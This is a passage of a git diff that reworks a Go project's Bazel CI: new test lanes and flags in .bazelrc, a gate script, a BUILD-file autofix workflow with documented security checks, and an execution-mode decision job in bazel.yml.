diff --git a/.bazelrc b/.bazelrc index e4bb7e55a..308ab55ec 100644 --- a/.bazelrc +++ b/.bazelrc @@ -26,9 +26,18 @@ test --test_env=BD_DISABLE_EVENT_FLUSH=1 # -short, skips, tag filters); the environment comes from the wrapper above. test:prcore --@rules_go//go/config:race test:prcore --test_arg=-test.short +# pr-core.sh's -parallel 4. Without it -test.parallel defaults to GOMAXPROCS, +# the executor's core count (192 on a farm worker), not a runner's 4. +test:prcore --test_arg=-test.parallel=4 test:prcore --test_arg=-test.skip=^TestEmbedded test:prcore --test_env=BEADS_TEST_SKIP=dolt -test:prcore --test_tag_filters=-requires-docker,-embedded,-manual +# As in pr.yml's PR Core step: a root or non-POSIX executor fails +# TestAddExcludePatternsRefusesReadErrors instead of skipping it. +test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 +# Every tag that belongs to another lane (scripts/bazel_policy_test.go +# bazelPRCoreExcludedTags). integration-only targets run zero tests outside +# --config=integration. +test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-embedded,-manual,-integration-only test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -38,16 +47,198 @@ test:ci --keep_going --test_summary=terse # test.xml on the remote side, so ask for both. test:ci --test_env=GO_TEST_WRAP_TESTV=1 test:ci --remote_download_regex=.*/test\.xml$ +# bazel.yml publishes the non-race bd as pr.yml's ci-build-artifacts. +test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$ # Docker lane: only the requires-docker targets (pr.yml's container-backed -# jobs), on a host with a docker daemon. Race like those jobs, but no -short -# and no BEADS_TEST_SKIP=dolt, which would keep the containers from starting. -# Those targets are also tagged no-remote-exec, so they run on the host even -# with --config=remote-exec. +# jobs "Test (storage domain + uow)" and "Contract corpus"), on a host with a +# docker daemon. Race like the domain+uow job (//cmd/bd/protocol's variant +# opts out, like the non-race Contract corpus job), but no -short and no +# BEADS_TEST_SKIP=dolt, which would keep the containers from starting. Those +# targets are also tagged no-remote-exec, so they run on the host even with +# --config=remote-exec; their builds may still run remotely. -test.v in +# test.xml, as in test:ci, lets equivalence.py see which tests ran. test:docker --@rules_go//go/config:race test:docker --test_tag_filters=requires-docker test:docker --build_tests_only test:docker --keep_going +test:docker --test_env=GO_TEST_WRAP_TESTV=1 +# Those jobs pass no -p/-parallel, so go test uses GOMAXPROCS, ubuntu-latest's +# 4 vCPUs, for both. Match that on any host: 4 test processes (hence at most +# 4 dolt containers starting at once) and -test.parallel=4. +test:docker --local_test_jobs=4 +test:docker --test_arg=-test.parallel=4 +# The variants depend on host state no action key sees (the docker daemon, +# the pulled dolt image, the network), so a cached result proves nothing about +# this host: always run them, like the jobs' `go test -count=1`. +test:docker --nocache_test_results + +# Embedded-Dolt tier: PR Risk's embedded jobs ("Test (Embedded Dolt Cmd +# N/20)", "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt +# Conformance - core/audit)"), as the `embedded`-tagged variants of bd_test +# and embeddeddolt_test. Race like the jobs' binaries, no -short, no +# BEADS_TEST_SKIP; each variant sets BEADS_TEST_EMBEDDED_DOLT=1. The shard +# variants run the jobs' shard scripts, so every Bazel shard runs exactly the +# tests of the job with the same number. +# Only the variants and what they need are built (the same race configuration +# as --config=ci, so the two lanes share every compile). +test:embedded --@rules_go//go/config:race +test:embedded --test_tag_filters=embedded +test:embedded --build_tests_only +test:embedded --keep_going +test:embedded --test_summary=terse +# The variants are timeout = "eternal" because the jobs' Go timeouts are past +# "long"; rbe-west rejects any action timeout over 1200s, so eternal means +# 1200s here, and the effective limits are: storage shards, the job's +# -test.timeout=15m; cmd shards and conformance core/audit, -test.timeout=19m +# (the jobs pass 20m and 30m), so that Go's timeout, which dumps every +# goroutine, fires before Bazel's 1200s kill, which does not (see the BUILD +# targets). +test:embedded --test_timeout=-1,-1,-1,1200 +# The jobs pass no -parallel: GOMAXPROCS on a 4-vCPU runner. +test:embedded --test_arg=-test.parallel=4 +test:embedded --test_env=GO_TEST_WRAP_TESTV=1 +test:embedded --remote_download_regex=.*/test\.xml$ + +# Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + +# uow)" and "Contract corpus"), but every dolt sql-server is a child of the +# test process, started from the pinned dolt in the test wrapper's runfiles +# (BEADS_TEST_DOLT_SERVER=local, set by each dolt-server target), so the +# targets run on remote workers and need no docker. Same selection rules as +# test:docker: race (//cmd/bd/protocol's variant opts out, like its job), no +# -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the no--short twins +# of the job's other packages. Results are cacheable: every input (test +# binary, dolt, env) is in the action key, and a server that cannot start +# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping. +# --config=docker stays as the A/B control. test.xml is downloaded for +# tools/bazel/equivalence.py --job, test.log for bazel.yml's failure artifact. +test:doltserver --@rules_go//go/config:race +test:doltserver --test_tag_filters=dolt-server +test:doltserver --build_tests_only +test:doltserver --keep_going +test:doltserver --test_env=GO_TEST_WRAP_TESTV=1 +test:doltserver --test_arg=-test.parallel=4 +# Locally (fork PRs, rbe=off, no executor): at most 4 test processes, as in +# test:docker; remote workers are not limited by it. +test:doltserver --local_test_jobs=4 +test:doltserver --remote_download_regex=.*/test\.(log|xml)$ + +# Proxied-server tier: PR Risk's "Test (Proxied Dolt Cmd N/15)" jobs, as +# //cmd/bd:bd_proxied_test (dolt-server-proxied tag). Kept out of +# --config=doltserver because bazel.yml runs that lane locally too (forks, +# rbe=off), where 15 shards of ~10 minutes, each with a dolt sql-server busy +# on ~4 cores, do not fit; bazel.yml runs this one only with remote +# execution, in a job of its own (bazel-proxied). The build is +# --config=doltserver's: race, like PR Risk's /tmp/bd-cmd-test (main.yml's +# twin job runs build-artifacts' non-race bd-cmd-test, so this is the +# stricter of the two); the subprocess bd is the non-race bd_for_tests, like +# the jobs'. Each shard runs its job's +# shard script, whose -test.timeout=15m is past "long": the target is +# eternal, which rbe-west caps at 1200s. +test:doltserver-proxied --@rules_go//go/config:race +test:doltserver-proxied --test_tag_filters=dolt-server-proxied +test:doltserver-proxied --build_tests_only +test:doltserver-proxied --keep_going +test:doltserver-proxied --test_summary=terse +test:doltserver-proxied --test_timeout=-1,-1,-1,1200 +test:doltserver-proxied --test_env=GO_TEST_WRAP_TESTV=1 +# The jobs pass no -parallel: GOMAXPROCS (the target's 4, a runner's vCPUs). +test:doltserver-proxied --test_arg=-test.parallel=4 +test:doltserver-proxied --local_test_jobs=4 +test:doltserver-proxied --remote_download_regex=.*/test\.(log|xml)$ + +# Server-Dolt storage tier: PR Risk's "Test (Server Dolt Conformance)" and +# "Test (Server Dolt Full Suite N/16)" jobs, as +# //internal/storage/dolt:dolt_server_{conformance,full}_test +# (dolt-server-integration tag): the integration-tagged internal/storage/dolt +# tests, non-race like the jobs' binary, against a local dolt sql-server. +# The build flags are exactly --config=integration's (the tags, and race for +# everything the variants do not turn off), so the two lanes share every +# compile: the variants' race-off binary lands in the configuration +# --config=integration already builds the non-race //cmd/bd:bd_for_tests in. +# A per-target gotags transition would instead compile the whole graph a +# third time. No BEADS_TEST_SKIP, no -short; the full suite's +# BEADS_TEST_ENV_RUN_DOLT=1 is target env. Remote only in bazel.yml, in a +# job of its own (bazel-server-storage) that shares bazel-integration's +# compiles through the remote cache. +build:doltserver-integration --@rules_go//go/config:tags=gms_pure_go,integration +test:doltserver-integration --@rules_go//go/config:race +test:doltserver-integration --test_tag_filters=dolt-server-integration +test:doltserver-integration --build_tests_only +test:doltserver-integration --keep_going +test:doltserver-integration --test_summary=terse +test:doltserver-integration --test_timeout=-1,-1,-1,1200 +test:doltserver-integration --test_env=GO_TEST_WRAP_TESTV=1 +# The jobs pass no -parallel: GOMAXPROCS (the targets' 4, a runner's vCPUs). +test:doltserver-integration --test_arg=-test.parallel=4 +test:doltserver-integration --local_test_jobs=4 +test:doltserver-integration --remote_download_regex=.*/test\.(log|xml)$ + +# Integration lane: main.yml's "Main Linux integration packages (N/6)" and +# "Main Linux integration cmd/bd (N/8)" jobs (and nightly.yml's Full Test +# Suite, which runs the same `go test` over ./... in one job): every package +# built with -tags=integration,gms_pure_go, race, no -short, no -skip, +# BEADS_TEST_SKIP=dolt. The tag is set for the whole build, as `go test -tags` +# does, not per target: gazelle generates srcs/deps with integration files +# included (root BUILD.bazel `gazelle:build_tags`), rules_go drops them from +# every other configuration, and //internal/testutil/integration (integration +# files only) compiles to its real contents only here. A per-target `gotags` +# would not save the compile either: it transitions the whole dep graph. +build:integration --@rules_go//go/config:tags=gms_pure_go,integration +test:integration --@rules_go//go/config:race +test:integration --test_env=BEADS_TEST_SKIP=dolt +# The variants the PR-core lane leaves out stay out, except integration-only +# (targets with tests only under the tag): the jobs' BEADS_TEST_SKIP=dolt +# keeps every container- or server-backed test skipped, which is what the +# untagged base targets already do. scripts/bazel_policy_test.go derives the +# required exclusions from the PR-core list, so a new lane tag lands here too. +test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-embedded,-manual +test:integration --build_tests_only +test:integration --keep_going +test:integration --test_summary=terse +# The jobs pass no -p/-parallel: GOMAXPROCS on a 4-vCPU ubuntu-latest runner. +test:integration --test_arg=-test.parallel=4 +# The jobs give each package binary -timeout=30m. rbe-west rejects an action +# timeout over 1200s, so every size gets 1200s, and Go's own -test.timeout (19m, +# after the 1200s rules_go derives from TEST_TIMEOUT: the last flag wins) fires +# first and dumps every goroutine to test.log, which Bazel's kill does not. +test:integration --test_timeout=1200 +test:integration --test_arg=-test.timeout=19m +# The runner is not root, so TestAddExcludePatternsRefusesReadErrors runs +# there; make a root executor fail it rather than skip (as test:prcore does). +test:integration --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 +# -test.v in test.xml, as in test:ci, for tools/bazel/equivalence.py. +test:integration --test_env=GO_TEST_WRAP_TESTV=1 +# ci and integration build into the same output directory (the tags flag +# does not change it), so they share bazel-testlogs: a lane's test.xml is +# overwritten by the other lane's next run of the same target. Run +# equivalence.py / check_testcases.py right after each lane's own +# `bazel test`, before the other lane runs (or give the lanes separate jobs). +test:integration --remote_download_regex=.*/test\.xml$ + +# Pure-Go lane: pr.yml's "Check pure-Go and js/wasm boundaries +# (CGO_ENABLED=0)" job. CGO is off for every Go target (rules_go drops +# cgo-constrained files like go build does; third_party/patches/ +# gozstd_nocgo.patch lets dolt's store/nbs, an unused but declared dep, +# compile; its package init panics, so a pure binary that links it fails when +# run). bazel.yml builds bd and the job's pure test binaries, runs each of +# them once (the contamination check `go build` does at compile time) and runs +# its -short cmd/bd subset. +build:pure --@rules_go//go/config:pure +test:pure --test_arg=-test.short +# The job passes no -parallel: GOMAXPROCS on a 4-vCPU runner. +test:pure --test_arg=-test.parallel=4 +test:pure --test_env=GO_TEST_WRAP_TESTV=1 +test:pure --remote_download_regex=.*/test\.xml$ + +# js/wasm hook boundary (same job): build for GOOS=js GOARCH=wasm. Bazel +# cannot run the wasm test binary itself; bazel.yml runs it with the Go SDK's +# go_js_wasm_exec (node), like `go test -exec`. The test toolchain needs an +# exec platform matching the target platform, hence +# --use_target_platform_for_tests (no test action runs under this config). +build:js-wasm --platforms=@rules_go//go/toolchain:js_wasm +build:js-wasm --use_target_platform_for_tests +build:js-wasm --remote_download_outputs=toplevel # Remote execution against any REAPI-compatible service. Only generic tuning # lives here; the executor endpoint and TLS credentials are never committed. @@ -57,6 +248,10 @@ build:remote-exec --jobs=64 build:remote-exec --remote_download_minimal build:remote-exec --remote_timeout=600 build:remote-exec --remote_retries=3 +# Upload only remotely executed results. A locally executed action (a +# no-remote-exec test, a host-dependent docker-lane result) must not seed the +# shared cache that CI and every other developer read. +build:remote-exec --noremote_upload_local_results try-import %workspace%/.bazelrc.local try-import %workspace%/user.bazelrc diff --git a/.github/scripts/bazel-gate.sh b/.github/scripts/bazel-gate.sh new file mode 100755 index 000000000..29f8c24a5 --- /dev/null +++ b/.github/scripts/bazel-gate.sh @@ -0,0 +1,56 @@ +#!/usr/bin/env bash +# pr.yml's ci-gate view of its bazel.yml call (the `bazel` job). bazel.yml's +# rbe job decides the execution mode once and exports it as the call's +# rbe-mode / rbe-enabled outputs; this script reads those outputs and never +# re-derives the decision (repo variable, fork, secrets) itself. +# +# bazel-gate.sh skips the Bazel gate ids whose job is skipped by design +# in this mode, for CI_GATE_SKIPPED_OK: +# skip: every lane and the aggregate (BAZEL) +# local: the remote-only BAZEL_EMBEDDED, +# BAZEL_PROXIED, BAZEL_SERVER_STORAGE +# remote: none +# bazel-gate.sh aggregate the value to gate on for BAZEL: the call's +# aggregate result, or, when the mode is missing +# or invalid (the rbe job failed, the call never +# started), an unexpected value that ci-gate.sh +# rejects. +# +# Any other skip, a failure, a cancellation, or a lane that should run but +# reported nothing (pr.yml maps an empty output to skipped) fails the gate. +# +# Inputs (environment): BAZEL_RBE_MODE, BAZEL_RBE_ENABLED (the call's +# rbe-mode / rbe-enabled outputs), BAZEL_CALL (needs.bazel.result). + +set -euo pipefail + +mode="${BAZEL_RBE_MODE:-}" +enabled="${BAZEL_RBE_ENABLED:-}" +valid=false +case "$mode/$enabled" in + remote/true | local/false | skip/false) valid=true ;; +esac + +case "${1:-}" in + skips) + skips=() + if [[ "$valid" == true ]]; then + case "$mode" in + skip) skips+=(BAZEL BAZEL_TEST BAZEL_PURE BAZEL_EMBEDDED BAZEL_DOLTSERVER BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + local) skips+=(BAZEL_EMBEDDED BAZEL_PROXIED BAZEL_SERVER_STORAGE) ;; + esac + fi + echo "${skips[*]-}" + ;; + aggregate) + if [[ "$valid" != true ]]; then + echo "invalid-rbe-mode:$(printf '%s/%s' "$mode" "$enabled" | tr -cd 'a-z/')" + else + echo "${BAZEL_CALL:-}" + fi + ;; + *) + echo "usage: $0 skips|aggregate" >&2 + exit 2 + ;; +esac diff --git a/.github/workflows/bazel-autofix.yml b/.github/workflows/bazel-autofix.yml new file mode 100644 index 000000000..5bfce89e1 --- /dev/null +++ b/.github/workflows/bazel-autofix.yml @@ -0,0 +1,135 @@ +# Auto-fix stale Bazel BUILD files on PRs. +# +# bazel.yml's "BUILD files in sync" step runs `make bazel-sync` (gazelle, +# tools/bazel/go_srcs.py, bazel mod tidy) and, when that leaves drift, fails +# and uploads the BUILD.bazel / MODULE.bazel / MODULE.bazel.lock part of the +# fix as the bazel-sync-patch artifact (scripts/ci/bazel-sync-patch.sh). This +# workflow closes the loop, like docs-autofix.yml does for generated CLI docs: +# when a PR run fails and left that artifact, it pushes the sync commit to the +# PR branch (same-repo PRs) or leaves an idempotent comment with the apply +# recipe (fork PRs). Drift elsewhere (third_party/patches, go.mod) is never +# patched; the failing run lists it for a human. +# +# Trigger: only "PR" (pr.yml). bazel.yml has no pull_request trigger of its +# own: PRs run it through pr.yml's `bazel` job (workflow_call), so its +# bazel-sync-patch upload belongs to the PR run, and a failing sync step +# fails that run. The "Bazel" workflow's own runs (push to main, dispatch) +# are never pull_request events, so triggering on them would only ever be a +# no-op. A PR run without the artifact (it failed for other reasons) is a +# no-op too. bazel.yml builds the PR MERGE commit, so the patch also +# carries any drift main has; only files in packages the PR itself changed +# are pushed (see the script), so main's drift never lands on an unrelated PR. +# +# CONCURRENCY: job-level (a skipped run - success, or another event - never +# takes part), and shared with docs-autofix.yml per head branch without +# cancel-in-progress, so the two bots queue instead of racing on one branch +# or cancelling a fix that is already running. The second one sees the moved +# head and stops; with the PAT its push retriggers CI, which re-derives the +# other fix. Both bots now fire on the same PR run's completion, so one runs +# while the other waits. GitHub keeps one pending job per group: a later PR +# run finishing inside that short window can displace a waiting job, whose +# fix the next failing run re-derives. +# +# SECURITY MODEL: this runs with write permissions via workflow_run, so it +# never checks out or executes PR code. It checks out the base default branch +# for scripts, and treats the artifact strictly as data: only the two expected +# regular files are extracted, every path in the patch must match an anchored +# Bazel build-file allowlist (no hidden or `..` segments, nothing under +# third_party/), mode/symlink/rename/binary hunks are refused, and +# the patch is applied to an index in a bare clone (the PR tree never touches +# the disk) and re-checked once staged (scripts/bazel-autofix-push.sh), so a +# hostile patch can at most rewrite BUILD.bazel / MODULE.bazel / +# MODULE.bazel.lock on its own PR branch. Pushes are leased to the run's head +# SHA and skipped for heads that are protected or under a ruleset. +# +# TOKEN NOTE: pushes made with the default GITHUB_TOKEN do not retrigger PR +# checks. This reuses the DOCS_AUTOFIX_TOKEN repo secret (fine-grained PAT or +# GitHub App token with contents:write on this repo) rather than adding a +# second one; without it the pushed fix still lands but checks need a manual +# re-run. Fork PRs always get the apply-recipe comment - no token we hold can +# push to a fork. workflow_run always runs this file from the default branch, +# so edits take effect only after they merge. + +name: Bazel Autofix + +on: + workflow_run: + workflows: ["PR"] + types: [completed] + +permissions: + contents: write + pull-requests: write + actions: read + +jobs: + autofix: + name: Apply Bazel BUILD sync to PR + if: > + github.event.workflow_run.event == 'pull_request' && + github.event.workflow_run.conclusion == 'failure' + runs-on: ubuntu-latest + timeout-minutes: 10 + # Shared with docs-autofix.yml; queue, never cancel (see header). + concurrency: + group: autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }} + cancel-in-progress: false + steps: + # Trusted side only: base repo default branch, never the PR head. The + # workflow token is not left in .git/config. + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + - name: Download BUILD sync patch (if any) + id: patch + env: + GH_TOKEN: ${{ github.token }} + RUN_ID: ${{ github.event.workflow_run.id }} + run: | + artifact_ids="$(gh api --paginate "repos/${GITHUB_REPOSITORY}/actions/runs/${RUN_ID}/artifacts?per_page=100" \ + --jq '.artifacts[] | select(.name == "bazel-sync-patch") | .id')" + artifact_id="$(printf '%s\n' "$artifact_ids" | head -1)" + if [ -z "$artifact_id" ]; then + echo "No BUILD sync patch artifact on run ${RUN_ID}; it failed for other reasons." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + dir="${RUNNER_TEMP}/bazel-patch" + mkdir -p "$dir" + gh api "repos/${GITHUB_REPOSITORY}/actions/artifacts/${artifact_id}/zip" > "${RUNNER_TEMP}/bazel-patch.zip" + # Extract only the two expected names, and only as regular files. + unzip -o "${RUNNER_TEMP}/bazel-patch.zip" bazel-sync.patch bazel-sync-meta.txt -d "$dir" || true + ls -la "$dir" + for f in bazel-sync.patch bazel-sync-meta.txt; do + if [ -L "$dir/$f" ] || { [ -e "$dir/$f" ] && [ ! -f "$dir/$f" ]; }; then + echo "::error::artifact entry $f is not a regular file" + exit 1 + fi + done + if [ ! -f "$dir/bazel-sync.patch" ]; then + echo "Artifact has no bazel-sync.patch; nothing to do." + echo "found=false" >> "$GITHUB_OUTPUT" + exit 0 + fi + echo "found=true" >> "$GITHUB_OUTPUT" + + - name: Push sync commit or leave apply recipe + if: steps.patch.outputs.found == 'true' + env: + BASE_REPO: ${{ github.repository }} + HEAD_REPO: ${{ github.event.workflow_run.head_repository.full_name }} + HEAD_BRANCH: ${{ github.event.workflow_run.head_branch }} + HEAD_SHA: ${{ github.event.workflow_run.head_sha }} + PATCH_FILE: ${{ runner.temp }}/bazel-patch/bazel-sync.patch + META_FILE: ${{ runner.temp }}/bazel-patch/bazel-sync-meta.txt + RUN_ID: ${{ github.event.workflow_run.id }} + RUN_URL: ${{ github.event.workflow_run.html_url }} + # Split tokens: gh api calls (PR lookup, comments) always use the + # workflow token, which carries this job's pull-requests:write; the + # optional PAT is used ONLY for the git push, so it needs no more + # than contents:write. + GH_TOKEN: ${{ github.token }} + PUSH_TOKEN: ${{ secrets.DOCS_AUTOFIX_TOKEN || github.token }} + AUTOFIX_TOKEN_KIND: ${{ secrets.DOCS_AUTOFIX_TOKEN && 'pat' || 'default' }} + run: ./scripts/bazel-autofix-push.sh diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 5b8177056..44e3852bd 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,16 +1,44 @@ -# Bazel side-by-side lane (advisory). Runs `bazel test //... --config=ci`, the -# PR Core-parity selection (race, -short, dolt skip, -requires-docker), on the -# same commit as pr.yml's go test lanes. It is NOT in ci-gate's -# CI_GATE_REQUIRED; promotion needs the equivalence record described in -# tools/bazel/equivalence.py and a human decision. +# Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs +# `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, +# dolt skip, -requires-docker), plus one job per mirrored CI job (pure-Go and +# js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server +# and server-Dolt storage tiers, main.yml's integration jobs). # -# Execution mode, passed to .github/actions/setup-bazel: -# repo variable RBE_WEST_WORKERS=true plus secrets RBE_WEST_EXECUTOR (grpcs:// -# endpoint), RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): -# remote execution on rbe-west, instance "oss" (shared with gascity). -# fork PRs and rbe=off dispatches: local execution, slower but the same -# results. Same-repo runs are skipped while RBE_WEST_WORKERS is unset. -# workflow_dispatch with rbe=off simulates a fork run. +# PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), +# in the same run as the legacy jobs it mirrors, which stay required too. +# This file has no pull_request or merge_group trigger of its own, so a PR +# runs the lane once. Every lane reports its job.status as a workflow_call +# output (named after the job) from an always() last step. pr.yml's ci-gate +# requires the call's aggregate result (BAZEL) and bazel-test, bazel-pure, +# bazel-embedded, bazel-doltserver, bazel-proxied and bazel-server-storage +# (BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER, BAZEL_PROXIED, +# BAZEL_SERVER_STORAGE); .github/scripts/bazel-gate.sh turns the rbe job's +# rbe-mode output into the skips it accepts, so a lane skipped by its `if:` +# below passes and one that should have run and failed, was cancelled or +# reported nothing fails the gate. bazel-integration is not part of the PR +# call (pr.yml passes integration: "off"): its legacy counterparts, main.yml's +# integration jobs, run only on push to main, so it runs on push to main, +# dispatch and nightly, like them. Direct runs (push to main, +# workflow_dispatch, nightly.yml's call) gate nothing. +# +# Execution mode, decided once by the rbe job (every other job needs it and +# reads its outputs; none re-derives the condition) and passed to +# .github/actions/setup-bazel: +# remote: repo variable RBE_WEST_WORKERS=true, rbe not off, not a fork PR, +# and the secret RBE_WEST_EXECUTOR (grpcs:// endpoint) present, plus +# RBE_TLS_CERT, RBE_TLS_KEY (base64; RBE_TLS_CA optional): remote +# execution on rbe-west, instance "oss" (shared with gascity), from the +# Blacksmith runner. +# local: fork PRs, rbe=off dispatches, and same-repo runs without the +# secret (Dependabot PRs: same-repo, but no Actions secrets): local +# execution on ubuntu-latest, slower but the same results, for every job +# but the remote-only ones (bazel-embedded, bazel-integration, +# bazel-proxied, bazel-server-storage), which are skipped. +# skip: same-repo runs while RBE_WEST_WORKERS is unset (the farm switch). +# workflow_dispatch with rbe=off simulates a fork run. The decision is also a +# workflow_call output (rbe-mode, rbe-enabled), so pr.yml's gate can tell an +# expected skip from a missing lane without re-deriving it. Callers pass +# exactly the four RBE secrets below, never `secrets: inherit`. # # Accepted risk (same model as gascity's bazel-test.yml): on push, merge_group # and same-repo pull_request runs, code from the PR head runs with the RBE @@ -19,16 +47,21 @@ # edit can point the BEP or the executor anywhere. Anyone who can push a # branch here can therefore use or copy the certificate and write to the # farm's cache. Fork PRs never get it: pull_request from a fork receives no -# secrets, this workflow has no pull_request_target trigger, and forks cannot -# write the runner cache. In place: secrets are referenced by the setup step -# alone and never by a workflow- or job-level env (policy-tested), decoded key +# secrets, neither this workflow nor its callers have a pull_request_target +# trigger, and forks cannot write the runner cache. Nor do Dependabot PRs, which run as same-repo but +# get no Actions secrets. In place: secrets are referenced by the setup step +# alone (plus the rbe job's emptiness test of RBE_WEST_EXECUTOR, which yields +# a boolean) and never by a workflow- or job-level env (policy-tested), decoded key # material is masked in logs, and CI uploads only remotely executed results -# (--noremote_upload_local_results in the generated rc), and the certificate +# (--noremote_upload_local_results in .bazelrc's remote-exec config and in +# the generated rc), and the certificate # is issued to beads CI alone, so it can be revoked without affecting other # clients. Maintainers decided (2026-09-28) that same-repo PRs keep remote # execution under this model. Still open: a beads-only RBE_INSTANCE and -# farm-side denial of client action-cache writes. The lane is advisory and -# nothing downstream consumes artifacts built here. +# farm-side denial of client action-cache writes. Nothing downstream consumes +# artifacts built here yet; in pr.yml's run the bd artifact is +# bazel-ci-build-artifacts, so it cannot collide with the build-artifacts +# job's ci-build-artifacts. # # Runner cache: one entry per (.bazelversion, MODULE.bazel.lock) pair, about # 2 GB (Bazel's --repository_cache plus Bazelisk's Bazel download), written @@ -40,9 +73,6 @@ name: Bazel on: - pull_request: - branches: [ main, 'release/**' ] - merge_group: push: branches: [ main ] workflow_dispatch: @@ -58,6 +88,12 @@ on: required: false type: boolean default: false + dolt-lane: + description: "Dolt-backed lane: doltserver (hermetic, remote) or docker (testcontainers A/B control)" + required: false + type: choice + default: "doltserver" + options: [ "doltserver", "docker" ] workflow_call: inputs: rbe: @@ -76,8 +112,70 @@ on: type: string required: false default: "" + # A string, not a boolean: on push and dispatch inputs.integration is + # null, and null == false in GitHub's loose comparison, so a boolean + # test would silently stop the lane on main. + integration: + description: > + "off" skips bazel-integration (pr.yml: its legacy counterparts do + not run on PRs); anything else runs it where remote execution is on. + type: string + required: false + default: "on" + build-artifact-name: + description: > + Name of the uploaded bd artifact (ci-build-artifacts layout). pr.yml + sets bazel-ci-build-artifacts: its build-artifacts job uploads + ci-build-artifacts in the same run. + type: string + required: false + default: "ci-build-artifacts" + # Only what the rbe job and setup-bazel need; callers pass them + # explicitly. None is required: fork and Dependabot runs have none. + secrets: + RBE_WEST_EXECUTOR: + required: false + RBE_TLS_CERT: + required: false + RBE_TLS_KEY: + required: false + RBE_TLS_CA: + required: false + # The rbe job's decision, and each lane's job.status (success, failure or + # cancelled; empty when the lane was skipped or never reported). pr.yml's + # ci-gate reads them through .github/scripts/bazel-gate.sh. + outputs: + rbe-enabled: + description: "'true' when the lanes executed remotely on rbe-west, else 'false'" + value: ${{ jobs.rbe.outputs.enabled }} + rbe-mode: + description: "remote, local (no remote-only jobs) or skip (no jobs): the rbe job's decision" + value: ${{ jobs.rbe.outputs.mode }} + bazel-test: + description: "bazel-test's job.status" + value: ${{ jobs.bazel-test.outputs.result }} + bazel-pure: + description: "bazel-pure's job.status" + value: ${{ jobs.bazel-pure.outputs.result }} + bazel-embedded: + description: "bazel-embedded's job.status" + value: ${{ jobs.bazel-embedded.outputs.result }} + bazel-integration: + description: "bazel-integration's job.status (empty in pr.yml's call, which turns the lane off)" + value: ${{ jobs.bazel-integration.outputs.result }} + bazel-doltserver: + description: "bazel-doltserver's job.status" + value: ${{ jobs.bazel-doltserver.outputs.result }} + bazel-proxied: + description: "bazel-proxied's job.status" + value: ${{ jobs.bazel-proxied.outputs.result }} + bazel-server-storage: + description: "bazel-server-storage's job.status" + value: ${{ jobs.bazel-server-storage.outputs.result }} -# Main runs always finish (they may save the runner cache); PR runs supersede. +# Main runs always finish (they may save the runner cache); PR runs (called +# from pr.yml, whose own group cancels the calling run too) supersede. The +# group differs from pr.yml's, as a called workflow's must. concurrency: group: bazel-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} cancel-in-progress: ${{ github.event_name == 'pull_request' }} @@ -92,21 +190,66 @@ env: BAZEL_BUDGET_SECONDS: "420" jobs: + # The one place the execution mode is decided (see the header), so every + # job sees the same answer for the whole run. Its step reads one secret, and + # only to test it for emptiness: the step's env holds a boolean, never the + # value, and the step runs no repository code (no checkout). Dependabot + # runs read vars but get no secrets, so they come out local, not remote. + rbe: + name: execution mode + runs-on: ubuntu-latest + timeout-minutes: 5 + outputs: + enabled: ${{ steps.decide.outputs.enabled }} + mode: ${{ steps.decide.outputs.mode }} + steps: + # The expressions' == is case-insensitive (RBE_WEST_WORKERS=True counts). + # A push, merge_group or dispatch has no pull_request, so FORK is false. + - name: Decide remote execution + id: decide + env: + RBE_VAR_ON: ${{ vars.RBE_WEST_WORKERS == 'true' }} + RBE_INPUT_OFF: ${{ inputs.rbe == 'off' }} + FORK: ${{ github.event.pull_request.head.repo.fork == true }} + HAS_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR != '' }} + run: | + for v in RBE_VAR_ON RBE_INPUT_OFF FORK HAS_EXECUTOR; do + case "${!v}" in + true|false) ;; + *) echo "::error::$v is '${!v}', want true or false"; exit 1 ;; + esac + done + if [ "$RBE_INPUT_OFF" = true ] || [ "$FORK" = true ]; then + mode=local + elif [ "$RBE_VAR_ON" != true ]; then + mode=skip + elif [ "$HAS_EXECUTOR" = true ]; then + mode=remote + else + mode=local + fi + enabled=false + if [ "$mode" = remote ]; then enabled=true; fi + echo "mode=$mode" >> "$GITHUB_OUTPUT" + echo "enabled=$enabled" >> "$GITHUB_OUTPUT" + echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, fork: $FORK, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + bazel-test: - name: Bazel / test (advisory) + name: test # Remote-execution runs use the org's Blacksmith pool (the farm's edge # admits it; GitHub-hosted runners are refused) and do not count against - # GitHub's concurrent-job cap. Fork PRs and rbe=off have no remote - # executor and build everything locally, so they get the larger - # GitHub-hosted runner. - runs-on: ${{ (inputs.rbe || 'on') != 'off' && github.event.pull_request.head.repo.fork != true && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} + # GitHub's concurrent-job cap. Local runs (forks, rbe=off, no secrets) + # build everything on the runner, so they get the larger GitHub-hosted + # one. + needs: rbe + runs-on: ${{ needs.rbe.outputs.enabled == 'true' && 